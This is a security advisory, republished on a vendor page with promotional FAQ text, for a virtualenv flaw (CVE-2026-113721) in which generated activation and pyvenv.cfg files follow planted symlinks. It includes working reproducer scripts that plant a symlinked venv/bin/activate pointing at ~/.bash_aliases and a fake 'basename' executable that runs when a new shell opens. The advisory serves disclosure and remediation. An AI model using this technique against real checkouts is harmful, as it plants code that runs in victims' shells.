Summary
virtualenv: Generated files can follow existing destination links
Generated activation files and pyvenv.cfg can follow existing links and write outside the requested environment. The
template writer tests exists() before unlinking, which misses dangling symlinks; the configuration writer opens the
existing path directly.
Anthropic's OSS Scanner reported this as ANT-2026-XBEOCBS1 in virtualenv-20261015-005, received on 15 October 2026.
Affected area
Final file entries written during environment creation and seeding.
Attacker-controlled input
Another account must be able to prepare file links in the destination before creation. The invoking user must have write
permission at the linked target. The destination parent must remain controlled during creation; concurrent
parent-directory replacement is a separate concern.
Affected code
The relevant 21.14.8 source is in
template writer,
configuration writer.
Mechanism
ViaTemplateActivator._generate() removes an existing output only when Path.exists() is true. A dangling symlink
therefore survives, and write_bytes() creates its target outside the environment. Other generated files have related
final-entry behavior. PyEnvCfg.write() opens pyvenv.cfg without first replacing an existing link; a symlink or hard
link there can overwrite an existing target. These paths require a prepared destination tree and the invoking user's
permission to write the linked target.
Reproduction and evidence
The scanner's project tree contains venv/bin/activate -> ../../../.bash_aliases and an executable venv/bin/basename.
Before creation, a new interactive bash does not create the marker. A plain virtualenv venv writes the activation
script through the dangling link, creating ~/.bash_aliases as a regular file. Debian's stock .bashrc sources that
file; the next interactive bash adds venv/bin to PATH and the planted basename writes the marker. The reproducer
checks that the link remains, ~/.bash_aliases appears, and the second shell executes the planted file. A separate
manual check links pyvenv.cfg to ~/.bashrc and observes the latter replaced with generated configuration text.
The link lets creation write outside the requested environment. The attacker chooses the target path but the generated
bytes come from virtualenv. The executable in the example was already in the prepared tree; this finding is not
arbitrary code injection into an otherwise trusted destination. The scanner traces the template behavior to #1454, first
released in 20.0.0b1. PR #3431 replaces pre-existing output links and
uses exclusive creation for generated text. It does not make a destination safe if another account can replace parent
directories during creation.
Attack sequence
sequenceDiagram
participant A as Prepared project tree
participant V as virtualenv writer
participant H as User home
participant B as Next interactive bash
A->>V: venv/bin/activate links to missing ~/.bash_aliases
V->>V: Path.exists() follows link and returns false
V->>H: write activation bytes through link
H-->>B: ~/.bash_aliases now exists
B->>H: .bashrc sources ~/.bash_aliases
B->>A: PATH reaches planted venv/bin/basename
A-->>B: marker created
Note over V,H: pyvenv.cfg can also overwrite an existing linked target
Reproducer files
The following files are from the scanner report for ANT-2026-XBEOCBS1. They were tested against commit a857a7823c73
in the scanner image. The repro entrypoint expects companion files under /tmp/repro.d; cases that change user IDs
need a disposable root-capable container. The last output line is BUG when the reported behavior occurs. These files
are included as evidence and were not rerun for this advisory update.
repro
#!/usr/bin/env python3
import os
import shutil
import subprocess
import sys
import tempfile
# set up: a fresh home with Debian's stock ~/.bashrc, which sources ~/.bash_aliases when that file exists
home = tempfile.mkdtemp(prefix="home-")
shutil.copy("/etc/skel/.bashrc", f"{home}/.bashrc")
bash_aliases = f"{home}/.bash_aliases"
marker = f"{home}/attacker-ran"
open_terminal = ["bash", "-i", "-c", "true"]
terminal_env = {"HOME": home, "PATH": "/usr/bin:/bin", "TERM": "dumb"}
# the attacker's repository, cloned by the user to ~/proj
checkout = f"{home}/proj"
subprocess.run([sys.executable, "/tmp/repro.d/make_hostile_checkout.py", checkout], check=True)
activate = f"{checkout}/venv/bin/activate"
print("shipped: venv/bin/activate ->", os.readlink(activate), flush=True)
# a terminal opened before virtualenv runs does not touch the checkout (stderr: bash -i without a tty warns)
subprocess.run(open_terminal, env=terminal_env, stderr=subprocess.DEVNULL, check=True)
print("before virtualenv: ~/.bash_aliases exists:", os.path.lexists(bash_aliases), "| marker exists:", os.path.exists(marker), flush=True)
assert not os.path.lexists(bash_aliases) and not os.path.exists(marker)
# trigger: the user creates an environment in the checkout, then opens a new terminal
subprocess.run(["virtualenv", "--no-periodic-update", "venv"], cwd=checkout, env={**os.environ, "HOME": home}, check=True)
subprocess.run(open_terminal, env=terminal_env, stderr=subprocess.DEVNULL, check=True)
# check: the activation script belongs in venv/bin/activate; it must not be written through the link to ~/.bash_aliases
print("venv/bin/activate is still the symlink:", os.path.islink(activate))
written_outside = os.path.isfile(bash_aliases) and not os.path.islink(bash_aliases)
print("~/.bash_aliases created as a regular file:", written_outside)
if written_outside:
print(" its first line:", open(bash_aliases).readline().rstrip())
attacker_code_ran = os.path.exists(marker)
print("after a new terminal, marker exists:", attacker_code_ran)
if attacker_code_ran:
print(" it says:", open(marker).read().rstrip())
print("BUG" if written_outside and attacker_code_ran else "OK")
repro.d/fake_basename.sh
#!/bin/sh
echo "attacker code ran as $(id -un)" > "$HOME/attacker-ran"
exec /usr/bin/basename "$@"
repro.d/make_hostile_checkout.py
import os
import shutil
import sys
checkout = sys.argv[1]
bin_dir = os.path.join(checkout, "venv", "bin")
os.makedirs(bin_dir)
# venv/bin/../../.. is the directory holding the checkout, i.e. ~ for a clone at ~/proj; ~/.bash_aliases does not exist
os.symlink("../../../.bash_aliases", os.path.join(bin_dir, "activate"))
# the bash activation script runs $(basename "$VIRTUAL_ENV") right after putting venv/bin first on PATH
fake_basename = os.path.join(bin_dir, "basename")
shutil.copy(os.path.join(os.path.dirname(__file__), "fake_basename.sh"), fake_basename)
os.chmod(fake_basename, 0o755)
Versions tested
The confirmed release is 21.14.8. The affected range records that release only; it does not establish the first affected
version or exclude earlier releases. Fixed in 21.14.9.
The fix replaces existing entries, including symbolic and hard links, and exclusively creates generated text
files. Before stdlib creation it replaces executable-directory symlinks and Windows junctions with real directories. It
then removes symbolic and hard links inside that directory, including interpreter executables and DLLs, and at the
configuration and ignore file paths. This also removes unrelated links directly in the executable directory. Final
seed-launcher links are replaced. Exclusive creation protects the final text-file open; delegated stdlib and distlib
writes still require a destination protected from concurrent replacement.
Fix: PR #3431.
Known mitigation
Use a fresh destination beneath an owner-controlled parent. Avoid creation over a tree populated by another account.
Affected release
- The problem reproduces on virtualenv 21.14.8.
Credits
Reported by Anthropic's OSS Scanner as ANT-2026-XBEOCBS1.
Impact
Creation can overwrite or create files outside the requested environment with the invoking user's permissions. File
contents are constrained by what virtualenv generates.
Severity: medium. CVSS 4.5, CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L, assigned during maintainer review.
CVE-2026-113721 has a CVSS score of 4.5 (Medium). The vector is requires local access, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (21.14.9); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.
Frequently Asked Questions
- What is CVE-2026-113721? CVE-2026-113721 is a medium-severity security vulnerability in virtualenv (pip), affecting versions < 21.14.9. It is fixed in 21.14.9.
- How severe is CVE-2026-113721? CVE-2026-113721 has a CVSS score of 4.5 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of virtualenv are affected by CVE-2026-113721? virtualenv (pip) versions < 21.14.9 is affected.
- Is there a fix for CVE-2026-113721? Yes. CVE-2026-113721 is fixed in 21.14.9. Upgrade to this version or later.
- Is CVE-2026-113721 exploitable, and should I be worried? Whether CVE-2026-113721 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-113721 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-113721? Upgrade
virtualenvto 21.14.9 or later.